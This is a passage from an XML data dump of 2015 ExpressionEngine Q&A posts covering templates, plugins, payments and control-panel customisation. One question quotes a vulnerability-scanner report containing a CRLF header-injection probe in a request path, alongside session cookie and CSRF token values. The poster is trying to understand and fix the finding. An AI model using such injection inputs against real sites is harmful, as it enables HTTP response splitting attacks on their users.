  <row Id="34163" PostTypeId="2" ParentId="34156" CreationDate="2015-09-25T07:52:49.743" Score="0" Body="&lt;p&gt;Filtering entries by a child entry's keywords will require a custom filter, so isn't possible out of the box.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;if a result is found in the Recipes channel, then display that entry. If the result is found in the Blog channel, then display that entry's related Recipes channel entry.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is possible out of the box. If you create 2 collections -- one for Recipes, one for Blog -- you can search both collections and in the Results tag use conditionals to display different types of content depending on the channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The gotcha here is that the excerpt will belong to the collection/channel the entry was found in. And if you're displaying the related Recipe entry for a found Blog entry, it is possible that that specific Recipe entry was already displayed. So there's a chance of duplicate results. One way around that is to also display some Blog entry information there, so it looks different.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-09-25T07:52:49.743" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34164" PostTypeId="1" CreationDate="2015-09-25T08:36:09.273" Score="0" ViewCount="292" Body="&lt;p&gt;We're hosing a site built with EE v2.10.1. As part of our hosting agreement I’ve had to run a vulnerability scan.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The scan found 23 CRLF injection/HTTP response splitting vulnerabilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this likely to be an EE issue or as a result of the way the site is coded?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the report that I could send to a EE support contact if it helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wayne.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of the error in the report.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;`Affected items&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Details&#xA;Path Fragment input was set to SomeCustomInjectedHeader: injected_by_wvs&#xA;Injected header found:&#xA;SomeCustomInjectedHeader: injected_by_wvs&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GET&#xA;/index.php/template-group/template-name/some-title-here%0dSomeCustomInj&#xA;ectedHeader:%20injected_by_wvs-2013 HTTP/1.1&#xA;Referer: &lt;a href=&quot;http://domain.com&quot; rel=&quot;nofollow&quot;&gt;http://domain.com&lt;/a&gt;&#xA;Cookie: exp_last_visit=1127726290; exp_last_activity=1443086299;&#xA;exp_tracker=%7B%220%22%3A%22font-awesome.css%22%2C%221%22%3A%22corporate%2Fcorporate-inf&#xA;ormation%2Fcharity%22%2C%222%22%3A%22corporate%2Fcorporate-news%2Ftite-here%22%2C%223%22%3A%22corporate%2Fnews%22%2C%224%22%3A%22&#xA;good2freeze%2Fdetail%22%2C%22token%22%3A%2200636beb8451791776252ab2ef30c264%22%7D;&#xA;exp_csrf_token=13e5fd3fee3d9d10383fc125f3cb6ef2197cc286; cb-enabled=accepted&#xA;Host: www.domain.com&#xA;Connection: Keep-alive&#xA;Accept-Encoding: gzip,deflate&#xA;User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)&#xA;Chrome/41.0.2228.0 Safari/537.21&#xA;Accept: &lt;em&gt;/&lt;/em&gt;`&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The scan was run on a developed site using Acunetix Vulnerability Scanner &lt;/p&gt;&#xA;" OwnerUserId="3569" LastEditorUserId="3569" LastEditDate="2015-09-25T13:39:50.280" LastActivityDate="2015-09-25T13:39:50.280" Title="CRLF injection/HTTP response splitting vulnerabilities" Tags="|error|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34165" PostTypeId="2" ParentId="34160" CreationDate="2015-09-25T09:06:08.257" Score="1" Body="&lt;p&gt;I tend to use index.php for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On about line 72 you can add Custom Config Variables as an associative array.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$assign_to_config['global_vars'] = array('pv_country_id' =&amp;gt; 3);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can now use this in your template as &lt;code&gt;{pv_country_id}&lt;/code&gt; (I prefix with pv_ so I can identify them when I view my templates in the future.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I use this method is that if you're a MSM user ('Multi Site Manager' for the uninitiated) you can override your variables on a per site basis.&lt;/p&gt;&#xA;" OwnerUserId="173" LastActivityDate="2015-09-25T09:06:08.257" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34166" PostTypeId="1" CreationDate="2015-09-25T10:20:39.030" Score="0" ViewCount="69" Body="&lt;p&gt;I have cartthrob and stripe set up and throughout the cart process everything says euros, the admin panel, to invoice, the order confirmation, etc. The default currency setting in Cartthrob is set to EUR as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I send to stripe, it always accepts payment in dollars then converts to euro. My default currency in stripe is set to EUR, but my location is always being set as purchasing from the US in my stripe test area. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is, how do I allow stripe/cartthrob to make sure euro is sent as the primary currency and how do I change the default country the payment comes from? &lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2016-06-16T15:18:31.327" Title="Does Cartthrob + Stripe only accepts dollars?" Tags="|cartthrob|stripe|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34167" PostTypeId="1" CreationDate="2015-09-25T10:48:26.297" Score="0" ViewCount="103" Body="&lt;p&gt;I'm trying to find an easy way to have basic instructions displayed when the client opens the CP (I'm using &lt;a href=&quot;http://ee-garage.com/nsm-publish-hints&quot; rel=&quot;nofollow&quot;&gt;NSM Publish Hints&lt;/a&gt; for detailed instructions on entry windows).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was using &lt;a href=&quot;https://github.com/mrtopher/dashEE/issues/45&quot; rel=&quot;nofollow&quot;&gt;DashEE&lt;/a&gt;, which was great, but since EE2.9, it hasn't been functioning properly so that I can't update anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you all provide basic on-screen instructions to the client so that when they open the Control Panel it's obvious how they should proceed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2218" LastActivityDate="2015-09-26T23:52:18.493" Title="Client instructions on Control Panel home?" Tags="|ee2|control-panel|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34168" PostTypeId="1" CreationDate="2015-09-25T11:08:57.537" Score="1" ViewCount="54" Body="&lt;p&gt;I am trying to setup an annual subscription with the Charge add-on, however I am experiencing unexpected results when allowing customers to cancel before it takes the next recurring payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to set it up using the {exp:charge:form} tag so that the user is charged the plan_amount each year recurring?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1339" LastActivityDate="2015-09-25T11:08:57.537" Title="Annual recurring payment setup with Charge add-on?" Tags="|members|stripe|charge|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34169" PostTypeId="2" ParentId="34167" CreationDate="2015-09-25T13:10:05.103" Score="0" Body="&lt;p&gt;If these are static instructions (they generally won't be changing), you could craft an EE Accessory to just insert a new element on the CP Home Page with your instruction in them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/accessories.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/accessories.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a pseudo-ish-code example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function set_sections()&#xA;{&#xA;    // Check to see if you're on the CP Home Page&#xA;    // if not, return false&#xA;&#xA;    // use the ee()-&amp;gt;cp-&amp;gt;add_to_foot() to add jQuery to insert stuff&#xA;    // kinda like this:&#xA;    ee()-&amp;gt;cp-&amp;gt;add_to_foot('&#xA;        $(document).ready(function(){&#xA;            $(&quot;#mainContent&quot;).prepend(&quot;&amp;lt;div class=\&quot;contentMenu helptext\&quot; style=\&quot;width: 93.6%;margin-bottom: 1em;\&quot;&amp;gt;&amp;lt;div class=\&quot;heading\&quot;&amp;gt;&amp;lt;h2&amp;gt;Help Text&amp;lt;/h2&amp;gt;&amp;lt;ul class=\&quot;homeBlocks item\&quot;&amp;gt;&amp;lt;li&amp;gt;Help! I need to tell you all the helping things!&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&quot;);&#xA;        });&#xA;    ');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And tada! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LT5TH.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LT5TH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; Welp, if it's something you need to change constantly, here is one option. Store a snippet with your instructions, and dump that instead of static stuff. Call your snippet &lt;code&gt;cp_help_text&lt;/code&gt; or something. Snippet content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;contentMenu helptext&quot; style=&quot;width: 93.6%;margin-bottom: 1em;&quot;&amp;gt;    &#xA;    &amp;lt;div class=&quot;heading&quot;&amp;gt;&#xA;        &amp;lt;h2&amp;gt;&#xA;            Help Text&#xA;        &amp;lt;/h2&amp;gt;&#xA;        &amp;lt;ul class=&quot;homeBlocks item&quot;&amp;gt;&#xA;            &amp;lt;li&amp;gt;&#xA;                Help! I need to tell you all the helping things! Easily changed from the Design -&amp;gt; Template -&amp;gt; Snippets.&#xA;            &amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And back to the accessory:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;$snippet = ee()-&amp;gt;db-&amp;gt;select()&#xA;                   -&amp;gt;from('snippets')&#xA;                   -&amp;gt;where('snippet_name', 'cp_help_text')&#xA;                   -&amp;gt;get()-&amp;gt;row_array();&#xA;&#xA;ee()-&amp;gt;cp-&amp;gt;add_to_foot('&#xA;    $(document).ready(function(){&#xA;        $(&quot;#mainContent&quot;).prepend(&quot;'.$snippet['snippet_contents'].'&quot;);&#xA;    });&#xA;');&#xA;....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Yup, seems convoluted! Perhaps someone can give you a better answer.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-09-26T23:52:18.493" LastActivityDate="2015-09-26T23:52:18.493" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="34170" PostTypeId="1" AcceptedAnswerId="34171" CreationDate="2015-09-25T15:05:08.140" Score="0" ViewCount="30" Body="&lt;p&gt;I'm trying to make a plugin that I need to be as simple as possible to use. If possible, I want the usage to be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:pluginname:anytext}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the output to be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;anytext&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously there will be more to it than just that, but the essence is that I need the &quot;anytext&quot; bit to be any bit of text, not a hard-coded method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen plugins that make use of the 4th tagpart, eg. &lt;code&gt;{exp:ce_img:make:anytext ... }&lt;/code&gt;, where the &lt;code&gt;anytext&lt;/code&gt; bit gets used as a variable prefix. Unfortunately, when I try to do something similar, but using the 3rd tagpart instead, I get an error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error&#xA;&#xA;The following tag cannot be processed:&#xA;&#xA;{exp:pluginname:anytext}&#xA;&#xA;Please check that the ‘pluginname’ module is installed&#xA;and that ‘anytext’ is an available method of the module&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="544" LastActivityDate="2015-09-26T18:18:29.583" Title="Can the 3rd tagpart of a plugin be used freely, or does it HAVE To be the name of a method?" Tags="|add-on-development|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34171" PostTypeId="2" ParentId="34170" CreationDate="2015-09-25T15:33:43.953" Score="1" Body="&lt;p&gt;Why are you trying to go about it like that? If you need to make the plugin as simple as possible, the Tag Pair syntax is far easier than trying to understand why you want a text input as a segment of the tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:my_plugin}&#xA;    anytext&#xA;{/exp:my_plugin}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EE Plugin parsing library always looks for a method in your plugin class if you have a second tag part. So you can't do it your way, however, if you want to use four segments like CE Image:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tag_parts = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagparts;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// {exp:my_plugin:anytext:stuff}&#xA;&#xA;$tag_parts = ee()-&amp;gt;TMPL-&amp;gt;tagparts; &#xA;&#xA;$tag_parts[0] = &quot;my_plugin&quot;;&#xA;$tag_parts[1] = &quot;anytext&quot;; // ALWAYS evaluated as a plugin_name::anytext()&#xA;$tag_parts[2] = &quot;stuff&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-09-26T18:18:29.583" LastActivityDate="2015-09-26T18:18:29.583" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34172" PostTypeId="1" AcceptedAnswerId="34762" CreationDate="2015-09-25T15:33:50.277" Score="0" ViewCount="51" Body="&lt;p&gt;I'm experiencing an issue with the module access privileges section on the member groups settings page for a few of my member groups. The issue is several of my groups have &quot;No Modules with Control Panel Access Installed&quot; under the Module Access Privileges section and some of my groups list all my modules and provide yes or no access controls. I'm wanting to grant access to the RSVP module to another member group. In the past I just simply clicked 'yes' next to this module under the module access privileges and everything was fine. So I guess in short how do I enable the list of modules to be displayed for a member group that's currently displaying &quot;No Modules with Control Panel Access Installed&quot;? Any tips or suggestions for resolving this would be greatly appreciated, Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3279" LastActivityDate="2015-11-17T15:50:39.247" Title="Module Access Privileges" Tags="|module|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34173" PostTypeId="2" ParentId="34172" CreationDate="2015-09-25T15:42:19.907" Score="0" Body="&lt;p&gt;If they aren't set to be able access the control panel, and have their Module privledges turned on, you ain't getting to Albuquerque.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Can access the control panel?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Must be set to  &lt;code&gt;Yes&lt;/code&gt; before Modules will show up on the Member Group edit page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Can access ADD-ONS: Modules&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Must be set to &lt;code&gt;Yes&lt;/code&gt; for them to even see the Modules when they log in.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-09-25T15:42:19.907" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34174" PostTypeId="1" AcceptedAnswerId="34181" CreationDate="2015-09-25T17:16:26.267" Score="0" ViewCount="102" Body="&lt;p&gt;I have this tag which pulls entries from all categories:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;foto&quot; category=&quot;1|2|3&quot; limit=&quot;15&quot; }&#xA;   //content&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible to pull 15 entries per category? So it would result in 45 entries in total?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to shuffle it afterwards therfore I don't want to call this tag three times.&lt;/p&gt;&#xA;" OwnerUserId="184" LastActivityDate="2015-09-26T16:46:39.897" Title="Limit entries for each category" Tags="|categories|templates|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="34175" PostTypeId="2" ParentId="34154" CreationDate="2015-09-25T20:41:36.133" Score="0" Body="&lt;p&gt;Yes, you can setup in the channel settings to use a field to show the image. You can really use any template code in the pre-defined areas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Lovf9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Lovf9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2015-09-25T20:41:36.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34177" PostTypeId="1" CreationDate="2015-09-26T02:16:31.970" Score="1" ViewCount="330" Body="&lt;p&gt;I have created a Freeform field called &lt;strong&gt;title_tag&lt;/strong&gt; and have set the type to &quot;hidden&quot;. In the field config settings, when selecting &quot;Hidden Field&quot; as the type, the field options allows you to set the Default Incoming Data:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Allowed data are ExpressionEngine tags and brackets and special&#xA;  fields. All HTML will be removed from this setting.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As my form is a field type in my channel, I have set the default value to &lt;code&gt;{title}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CRGFY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CRGFY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have then added the field to my form:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vDty6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vDty6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the Title of the channel entry is not pulling through:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PTCpE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PTCpE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm assuming it's something simple that I've missed but can't seem to identify what I've done wrong and why the &lt;code&gt;{title}&lt;/code&gt; tag isn't pulling in the Title as the value for the hidden input when it clearly says in the Field Options that this can be done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;VERSION DETAILS:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ExpressionEngine: 2.10.1&lt;br&gt;&#xA;Freeform Pro: 4.2.3&lt;/p&gt;&#xA;" OwnerUserId="1158" LastActivityDate="2015-10-01T03:16:08.603" Title="Getting channel TITLE tag value in Freeform Pro Composer hidden input field" Tags="|solspace-freeform|solspace|composer|composer-template|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34178" PostTypeId="1" CreationDate="2015-09-26T09:44:26.220" Score="0" ViewCount="56" Body="&lt;p&gt;When embedding a template gets error message described in the image attached.. need an immediate help.. thank you&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{html-head}&#xA;{global-stylesheets}&#xA;{js-header}&#xA;{main-nav}&#xA;{main-nav-2}&#xA;{html-head-end}&#xA;&amp;lt;body&amp;gt;&#xA;{embed=&quot;includes/main-nav-3&quot;}&#xA;{breadcrumb}&#xA;&amp;lt;!-- REST FILES --&amp;gt;&#xA;{if last_segment == '{segment_1}'}  &#xA;{exp:channel:entries channel=&quot;se&quot; dynamic=&quot;yes&quot;  url_title=&quot;solutions&quot;}&#xA;    &amp;lt;h1 class=&quot;banner_title bold&quot;&amp;gt;&#xA;        {title}&#xA;    &amp;lt;/h1&amp;gt;&#xA;                &amp;lt;p class=&quot;text-justify&quot;&amp;gt;{body_content}&amp;lt;/p&amp;gt; &#xA;&amp;lt;/main&amp;gt;&#xA;{/exp:channel:entries}&#xA;&#xA;{if:else}&#xA;&#xA;{exp:channel:entries channel=&quot;co&quot; dynamic=&quot;yes&quot;  url_title=&quot;{segment_2}&quot; }&#xA;        {title}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/main&amp;gt;&#xA;{/exp:channel:entries}&#xA;{/if}&#xA;&#xA;&amp;lt;!-- REST FILES --&amp;gt;&#xA;&#xA;{embed=&quot;includes/footer&quot;}&#xA;{html-footer}&#xA;{js-footer}&#xA;{html-close}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LfA4N.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LfA4N.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6696" LastEditorUserId="425" LastEditDate="2015-09-26T11:41:10.620" LastActivityDate="2015-09-26T11:41:10.620" Title="embed template showing erorr" Tags="|ee2|templates|embeds|" AnswerCount="0" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="34179" PostTypeId="2" ParentId="34167" CreationDate="2015-09-26T11:38:01.783" Score="1" Body="&lt;p&gt;You could inject JS using this &lt;a href=&quot;https://devot-ee.com/add-ons/cp-css-js&quot; rel=&quot;nofollow noreferrer&quot;&gt;add-on&lt;/a&gt; into the area of the Control Panel you want the the help text to appear - then you can expand it to all relevant pages you want help on - not just the CP homepage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JS...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function($) {&#xA;    $(&quot;.contentMenu.create&quot;).before('&amp;lt;div class=&quot;helpText contentMenu&quot;&amp;gt;&amp;lt;p&amp;gt;Help Text goes here&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;');&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Example CSS...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.contentMenu.helpText {&#xA;    background-color: honeydew;&#xA;    width: auto;&#xA;    margin: 0 40px 30px;&#xA;    float: none;&#xA;    padding: 20px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Result...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PV5yb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PV5yb.png&quot; alt=&quot;Control Panel Grab with Help Panel&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously change your JS target for different pages in the Control Panel.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2015-09-26T11:38:01.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34180" PostTypeId="1" CreationDate="2015-09-26T13:35:06.177" Score="0" ViewCount="64" Body="&lt;p&gt;My legacy site EE2.3 and mysql database for an expired domain name has been migrated from Enginehosting.com to Acrustech. I have the new login information for accessing control panel, database, and sftp. I can login successfully to see the site via ftp, but haven't figured out how to connect to the control panel or mysql database. The new domain name is not yet live, the old domain name is inactive, the IP address is known and is unique. It appears I have to manually edit some of the installer information to get the system working. Given this information, if I update system/expressionengine/config and system/expressionengine/database with the correct server info, passwords, and ip address in lieu of the old domain name, should that allow me to connect to the database and control panel?&lt;/p&gt;&#xA;" OwnerUserId="6697" LastActivityDate="2015-09-26T13:35:06.177" Title="Migrate EE install from enginehosting to acrustech and change domain name" Tags="|server-migration|configuration-variables|domain|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34181" PostTypeId="2" ParentId="34174" CreationDate="2015-09-26T16:46:39.897" Score="1" Body="&lt;p&gt;If you create a category group with your three categories, you can set the &lt;code&gt;category_group&lt;/code&gt; param on your entries loop. This will pull a rounded, even amount of entries from each category in the group. In an example where you have three categories in &lt;code&gt;category_group&lt;/code&gt; 1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;catburgers&quot;&#xA;    category_group=&quot;1&quot;&#xA;    limit=&quot;9&quot;&#xA;    orderby=&quot;random&quot;}&#xA;&#xA;    {!-- This will output, in random order, 9 entries from the category group, 3 from each category --}&#xA;&#xA;    {title} - Catburger&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-09-26T16:46:39.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34182" PostTypeId="1" AcceptedAnswerId="34183" CreationDate="2015-09-26T17:15:17.323" Score="0" ViewCount="89" Body="&lt;p&gt;In EE2.9 (can go up) is it possible to target the first paragraph of text in a channel entry?&#xA;I want to add a class only to this first paragraph for a CSS3 drop cap to the text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any help on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Justin&lt;/p&gt;&#xA;" OwnerUserId="1654" LastActivityDate="2015-09-26T17:44:24.137" Title="first paragraph entry" Tags="|ee2|channel-entries|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34183" PostTypeId="2" ParentId="34182" CreationDate="2015-09-26T17:44:24.137" Score="0" Body="&lt;p&gt;It really depends on what your output field is. Is it a text area? A rich text area? WYGWAM field? Answer that question and I can hone in. But here is an example CSS selector:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.channel-entries .field-id-666 p:first-of-type {&#xA;&#xA;    /* your CSS rules go here */&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that I don't actually know the class names off the top of my head, but a &lt;code&gt;:first-of-type&lt;/code&gt; selector sounds like your answer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note this isn't an EE related question really, but it's &lt;em&gt;just&lt;/em&gt; close enough to not flag :P&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-09-26T17:44:24.137" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34184" PostTypeId="1" AcceptedAnswerId="34185" CreationDate="2015-09-26T17:46:15.757" Score="0" ViewCount="40" Body="&lt;p&gt;When developing a website in EE, I often create custom modules to accomplish some task, such as processing a custom form, etc. I started creating 'actions' for each form, but this grew inconvenient during development, because I would have to uninstall/reinstall, or write some 'update' code, to incorporate new action_ids (or manually add them to the exp_actions table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current workaround is, for any new module, to create one catch-all 'action'. So if my module was called 'Module', my action would be called 'module_do'. In my mod.module.php file, I would declare that function like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mailchimp_api_do(){&#xA;&#xA;    $function = $this-&amp;gt;EE-&amp;gt;input-&amp;gt;get_post('function',TRUE);&#xA;&#xA;    $accepted_functions = array(&#xA;        'do_that_one_thing_you_do',&#xA;        'do_that_other_thing_you_do'&#xA;    );&#xA;&#xA;    if(in_array($function,$accepted_functions)){&#xA;        //call that function&#xA;        $this-&amp;gt;$function();&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That way, I could code up my forms to post to a URL like, for instance:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;/?ACT=##&amp;amp;function=do_that_one_thing_you_do&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;/?ACT=##&amp;amp;function=do_that_other_thing_you_do&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But if I used a function not in my &lt;code&gt;$accepted_function&lt;/code&gt; array, 